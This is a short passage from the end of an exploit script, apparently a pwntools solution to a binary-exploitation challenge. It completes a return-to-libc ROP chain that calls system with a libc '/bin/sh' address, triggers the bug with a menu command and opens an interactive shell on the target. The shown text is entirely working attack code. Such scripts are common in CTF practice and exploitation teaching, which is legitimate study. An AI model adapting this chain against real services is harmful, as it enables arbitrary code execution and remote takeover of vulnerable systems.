(libc_base + 0x000000000002a3e5),
(libc_base + 0x1d8698),
(libc_base + libc.sym["system"]),
])

cmd("0")

#debug()

p.interactive()